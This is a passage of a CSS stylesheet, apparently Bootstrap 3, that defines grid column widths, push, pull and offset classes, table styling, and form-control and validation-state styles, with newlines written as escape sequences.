padding-left: 15px;\n padding-right: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0%;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #ddd;\n}\n.table .table {\n background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #ddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #fff;\n background-image: none;\n border: 1px solid #ccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999;\n}\n.form-control::-ms-expand {\n border: 0;\n background-color: transparent;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n 